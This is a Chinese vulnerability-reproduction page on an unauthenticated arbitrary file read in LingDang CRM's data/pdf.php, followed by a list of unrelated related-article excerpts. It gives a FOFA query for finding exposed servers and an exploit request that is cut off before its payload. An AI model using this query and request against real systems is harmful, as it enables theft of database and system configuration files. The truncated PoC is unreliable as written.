灵当CRM data/pdf.php 任意文件读取漏洞复现
0x01 产品简介
灵当CRM是一款专为中小企业打造的智能客户关系管理工具，由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域，帮助企业实现客户个性化管理需求，提升企业竞争力。无论是新客户开拓、老客户维护，还是销售过程管理、服务管理等方面，灵当CRM都能提供全面、高效的解决方案。
0x02 漏洞概述
灵当CRM data/pdf.php 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
0x03 复现环境
FOFA：
body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")
0x04 漏洞复现
PoC
GET /crm/data/pdf.php?url=相关文章：
灵当CRM data/pdf.php 任意文件读取漏洞复现
0x01 产品简介 灵当CRM是一款专为中小企业打造的智能客户关系管理工具，由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域，帮助企业实现客户个性化管理需求，提升企业竞争力。无论是新客户开拓、老客户维护，还是销售过程管…...
Python 批量转换 Shapefile 为 GeoJSON
批量转换 Shapefile (.shp) 为 GeoJSON 文件的脚本详解 🗺️🔄 在地理信息系统（GIS）和遥感领域，Shapefile（.shp）格式与GeoJSON格式是两种常用的数据格式。Shapefile 作为矢量数据的标准格式之一…...
软考《信息系统运行管理员》- 4.1信息系统软件运维概述
4.1信息系统软件运维概述 文章目录 4.1信息系统软件运维概述信息系统软件运维的概念信息系统软件的可维护性及维护类型对软件可维护性的度量可以从以下几个方面进行：软件维护分类： 信息系统软件运维的体系1.**需求驱动**2.**运维流程**3.**运维过程**4.*…...
Leetcode 3319. K-th Largest Perfect Subtree Size in Binary Tree
Leetcode 3319. K-th Largest Perfect Subtree Size in Binary Tree 1. 解题思路2. 代码实现 题目链接：3319. K-th Largest Perfect Subtree Size in Binary Tree 1. 解题思路 这一题其实就是一个很常见的树的遍历，我们自底向上遍历每一个子树&#x…...
从秒级到小时级：TikTok等发布首篇面向长视频理解的多模态大语言模型全面综述
文章链接：https://arxiv.org/pdf/2409.18938 亮点直击 追踪并总结从图像理解到长视频理解的MM-LLMs的进展;回顾了各种视觉理解任务之间的差异，并强调了长视频理解中的挑战，包括更细粒度的时空细节、动态事件和长期依赖性;详细总结了MM-LLMs在…...
【CTF】敏感信息泄露 GIT SVN VIM
在CTF（Capture The Flag）比赛中，信息泄露是常见的考察方向之一。这类题目通过模拟开发人员的疏忽或系统配置的失误，导致敏感文件或数据被泄露。信息泄露题目通常相对简单，但能帮助参赛者掌握如何从公开的信息中获取潜在…...
EMQX服务器的搭建,实现本地机和虚拟机之间的MQTT通信（详细教程）
前言 MQTT是一个基于客户端-服务器的消息发布/订阅传输协议。MQTT协议是轻量、简单、开放和易于实现的，这些特点使它适用范围非常广泛。 MQTT协议中有三种身份：发布者（Publish）、代理（Broker）（…...
cordova的使用
环境 Cordova 是一个跨平台的开发框架，它允许开发者使用 HTML、CSS 和 JavaScript 创建移动应用。Cordova 的不同版本可能会有不同的环境要求。以下是 Cordova 10 和 Cordova 12 在开发 Android 和 iOS 应用时的环境要求的对比总结。 1. Cordova 10 环境要求 And…...
三种Transformer模型中的注意力机制介绍及Pytorch实现：从自注意力到因果自注意力
本文深入探讨Transformer模型中三种关键的注意力机制：自注意力、交叉注意力和因果自注意力。这些机制是GPT-4、Llama等大型语言模型（LLMs）的核心组件。通过理解这些注意力机制，我们可以更好地把握这些模型的工作原理和应用潜力。 …...
《使用Gin框架构建分布式应用》阅读笔记：p20-p31
《用Gin框架构建分布式应用》学习第2天，p20-p31总结，总计12页。 一、技术总结 1.第一个gin程序 // main.go package mainimport "github.com/gin-gonic/gin"func main() {r : gin.Default()r.GET("/", func(c *gin.Context) {c.J…...
如何修改MacOS的终端的配色和linux一样
目录 一、配色方案 二、修改配色 一、配色方案 一键更改MacOS的终端配色文件，目的就是为了让他从原本的样子变成XShell里面显示的配色样式。文件夹为蓝色，链接文件为青色，可执行文件为绿色之类的。 linux默认配色方案是"exfxcxdxbxege…...
基于百度智能体开发爱情三十六计
基于百度智能体开发爱情三十六计 文章目录 基于百度智能体开发爱情三十六计1. 爱情三十六计智能体2. 三十六计开发创意3. 智能体开发实践3.1 基础配置3.2 进阶配置3.3 调优心得3.4可能会遇到的问题 4. 为什么选择文心智能体平台 1. 爱情三十六计智能体 爱情三十六计 是一款基于…...
计算机网络：计算机网络概述 —— 描述计算机网络的参数
文章目录 数据量性能指标速率带宽数据传输速率 吞吐量时延分析时延问题 时延带宽积往返时间利用率丢包率丢包的情况 抖动可用性可靠性安全性 计算机网络是现代信息社会的基础设施，其性能和可靠性对各类应用至关重要。为了理解和优化计算机网络，我们需要深…...
Windows 11系统选项卡详解：从新手到专家的操作指南
Windows 11的“系统”选项卡是管理电脑硬件和软件设置的中心。 基础操作 1. 查看和编辑系统信息 打开“开始”菜单，点击“设置”图标。 在“设置”窗口中，选择左侧的“系统”选项卡。 点击“关于”。 在这里，我们可以查看系统规格。要编辑设…...
乐鑫ESP32-S3无线方案，AI大模型中控屏智能升级，提升智能家居用户体验
在这个由数据驱动的时代，人工智能正以其前所未有的速度和规模改变着我们的世界。随着技术的不断进步，AI已经从科幻小说中的概念，转变为我们日常生活中不可或缺的一部分。 特别是在智能家居领域，AI的应用已成为提升生活质量、增强…...
postman变量，断言，参数化
环境变量 1.创建环境变量 正式环境是错误的，方便验证环境变化 2.在请求中添加变量 3.运行前选择环境变量 全局变量 能够在任何接口访问的变量 console中打印日志 console.log(responseBody);//将数据解析为json格式 var data JSON.parse(responseBody); conso…...
Nginx实战指南：基础知识、配置详解及最佳实践全攻略
背景 在Java系统实现过程中，我们不可避免地会借助大量开源功能组件。然而，这些组件往往功能丰富且体系庞大，官方文档常常详尽至数百页。而在实际项目中，我们可能仅需使用其中的一小部分功能，这就造成了一个挑战&#…...
百度搜索引擎（SEO）优化师的未来将何去何从？
百度搜索引擎（SEO）优化师的未来将何去何从？ 作为一名SEO专家（林汉文），在过去的三年里，我深感自己与快速变化的百度SEO圈子逐渐脱节。然而，在最近重拾旧业，重新审视SEO特…...
如何在UE5中创建加载屏幕(开场动画)？
第一步： 首先在虚幻商城安装好Async Loading Screen，并且在项目的插件中勾选好。 第二步： 确保准备好所需要的素材： 1）开头的动画视频 2）关卡加载图片 3）准备至少两个关卡 第三步：…...
【WebGIS】Cesium：地形加载
在 Cesium 中，地形数据用于提供三维场景的高度信息，使得地球表面的细节更加逼真。地形加载是 Cesium 应用中的关键功能，支持各种地形源和格式，如 Cesium Ion 服务、Terrain Server 等。本文将系统介绍如何在 Cesium 中加载、配置、…...
CCSv3.3安装配置避坑全记录：从补丁失败到硬件连接，手把手搞定DSP开发环境
CCSv3.3安装配置避坑全记录：从补丁失败到硬件连接，手把手搞定DSP开发环境 第一次接触DSP开发的朋友，十有八九会在CCSv3.3的安装配置环节栽跟头。这个2007年发布的经典版本至今仍被许多高校和实验室沿用，但它的安装过程堪称"雷…...
ARM架构TRFCR_EL2寄存器解析与虚拟化调试应用
1. ARM架构TRFCR_EL2寄存器深度解析在ARMv8/v9体系结构中，TRFCR_EL2（Trace Filter Control Register at EL2）是一个关键的系统寄存器，专门用于管理EL2（Hypervisor）级别的追踪过滤行为。这个寄存器在虚拟化环…...
国密SM2的P7格式签名，和PKCS#7到底有啥区别？一张图讲清楚
国密SM2的P7格式签名与PKCS#7核心差异解析：从结构到实战 在密码学应用开发中，数字签名格式的标准化是实现安全通信的基础。当开发者从国际通用的PKCS#7标准转向中国自主研发的国密SM2算法体系时，P7签名格式的差异往往成为第一个需要跨越的技术…...
Crustocean/conch：轻量级容器化工具，简化开发者本地环境搭建
1. 项目概述：一个面向开发者的轻量级容器化工具最近在和一些做后端开发的朋友聊天，发现大家普遍有个痛点：本地开发环境和线上环境不一致，导致“在我机器上好好的”这种经典问题频繁上演。虽然Docker已经普及，但完整的D…...
-东方仙盟)
安卓android无法创建文件夹权限-幽冥大陆(一百21)-东方仙盟
谷歌从安卓 6 开始强制规定直接锁死：根目录 /、system、storage 根目录 全部禁止 APP 写入。目的：防流氓软件乱改系统、乱建文件夹、乱篡改系统文件。瑞芯微等主板厂商二次加锁RK、全志、晶晨这类工控主板，还额外加了两层限制：分区…...
开源数字资产管理平台OpenClaw Studio：架构设计与工程实践
1. 项目概述：一个面向创意工作者的开源数字资产管理工具最近在和一些独立开发者、小型创意团队的朋友聊天时，大家普遍提到一个痛点：项目文件、素材、版本管理越来越乱。设计稿、代码、文档、参考图散落在电脑各个角落，团队协作时经…...
从视频到文字：我的学习效率革命之旅
从视频到文字：我的学习效率革命之旅 【免费下载链接】bili2text Bilibili视频转文字，一步到位，输入链接即可使用 项目地址: https://gitcode.com/gh_mirrors/bi/bili2text 还记得那个周末的下午，我正对着B站上一个两小时的…...
告别枯燥表格！用Power BI的矩形树图，5分钟搞定你的销售利润可视化分析
商业数据可视化实战：用Power BI矩形树图5分钟呈现销售利润洞察 在每周的销售复盘会议上，你是否经常面对这样的困境：手头有一份密密麻麻的Excel表格，包含了各省市、各产品的销售利润数据，却难以快速向团队传达关键业务洞…...
告别静态图表！用C# Winform Chart控件打造实时刷新的数据监控面板（附完整源码）
用C# Winform Chart控件构建高并发实时数据监控系统 在工业自动化、金融交易和物联网领域，实时数据可视化是决策者最依赖的"眼睛"。传统静态图表早已无法满足毫秒级数据更新的需求，而基于Web的解决方案又常常面临延迟高、部署复杂的困扰。本文…...
0.2mm间距测试探针技术解析与应用指南
1. 0.2mm间距测试探针的技术突破与应用价值在半导体测试领域，随着芯片封装尺寸的持续缩小和信号频率的不断提升，传统测试探针已难以满足高密度互连与高频测试的双重需求。Aries Electronics最新推出的0.2mm间距测试探针，采用镀金铍铜材料和特…...